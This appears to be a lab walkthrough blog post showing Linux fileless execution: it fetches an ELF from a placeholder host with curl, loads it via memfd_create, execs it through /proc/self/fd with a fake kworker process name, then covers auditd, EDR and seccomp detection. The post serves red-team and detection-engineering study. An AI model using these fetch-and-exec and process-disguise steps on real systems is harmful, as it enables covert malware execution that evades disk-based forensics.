Skip to content

Linux Fileless ELF: memfd_create, fexecve, and a Fake kworker Name

Linux memfd_create Fileless ELF Exec Lab Walkthrough

Linux Fileless ELF: memfd_create, fexecve, and a Fake kworker Name

windows kids get Process Hollowing thinkpieces. linux kids get memfd_create, a sealed anonymous file in RAM, and execve("/proc/self/fd/N") with argv0 set to [kworker/u8:lab]. no dropped binary on disk. /proc/pid/exe says /memfd:lab_elf (deleted). your file integrity monitor congratulates itself for watching /usr/bin. cute.

Lab only. screenshots run a hello-world ELF through memfd on a disposable Kali lab. do not load mystery blobs from the internet into memory and exec them “for science” on a laptop that also has your password manager. authorized red-team channel testing and detection engineering only.

the trick in one paragraph

memfd_create(2) returns a file descriptor backed by RAM. write an ELF into it. optionally fcntl seal it so nobody alters the bytes. exec it via /proc/self/fd/<fd> or fexecve. delete any staging file you used to fetch the bytes. the process runs. disk forensics looking for the payload hash in the filesystem shrug. this is not new magic. it is underused in a lot of “we monitor writes to /tmp” programs that confuse “fileless” with “impossible.”

Kali terminal fetching a small lab ELF and showing file(1) output plus a truncated sha256.
Step 1: stage bytes somehow. CDN, gist, existing implant. disk is optional after this.

step 1: get bytes

curl -sS -o /tmp/stage.elf http://lab-cdn.example/a/hello_memfd.elf
file /tmp/stage.elf

real operators often pull into memory with curl | python or from an already-resident stager so /tmp/stage.elf never exists. the lab keeps a file so the screenshot is honest about where the bytes started.

Kali terminal Python snippet calling memfd_create, writing the ELF, and execing /proc/self/fd/N.
Step 2: memfd_create, write, exec. argv0 spoof optional and petty.

step 2: memfd + exec

fd = libc.memfd_create(b'lab_elf', MFD_CLOEXEC)
os.write(fd, data)
os.execv(f'/proc/self/fd/{fd}', ['[kworker/u8:lab]', 'lab'])

that is the whole joke. languages with thin libc bindings can do it in twenty lines. Go, Rust, and C get you there with less interpreter noise. packing and reflective loaders are optional spice, not the meal.

Kali terminal ps and /proc/pid/exe showing a fake kworker name and memfd:(deleted) mapping.
Step 3: process table cosplay. exe link tells the truth if you look.

step 3: admire the lie

ps shows a kernel-worker-shaped name. /proc/pid/cmdline agrees. /proc/pid/exe ruins the bit: /memfd:lab_elf (deleted). any response process that only greps process names loses. any response process that walks exe links and maps wins.

Kali terminal ausearch output for memfd_create and execve of /proc/self/fd/3 with an example audit rule.
Step 4: auditd / EDR. syscall 319 (memfd_create) followed by execve of a memfd path is the tell.

why defenders care

  • disk IOCs evaporate: hash blocklists on the filesystem never see the payload.
  • argv0 spoofing: junior analysts trust ps more than they should.
  • living off the land: python, perl, or a tiny C stager already on the box is enough.
  • containers: same syscalls work unless seccomp blocks memfd_create / weird exec paths.

controls that are not theater

  1. audit memfd_create and execve where exe starts with /memfd: or /proc/self/fd/.
  2. EDR: alert on exe link containing (deleted) combined with network beacons.
  3. seccomp / LSM profiles for high-value services: deny memfd_create if the workload does not need it (many do not).
  4. baseline process trees: web pool spawning python that memfds an ELF is a ticket, not a vibe.
  5. for red team: document the technique in the ROE, avoid persistence confusion with real kworkers, clean up lab artifacts.
honesty check: “fileless” still touches memory, still opens sockets, still shows up in /proc. if your detection strategy assumes attackers need a path in /tmp, you are detecting 2014.

sloth take

disk was a comfort blanket. linux offered anonymous executable memory and a proc symlink, and operators said thank you. watch the syscalls. walk the exe links. and stop trusting a process name that looks like it came with the kernel.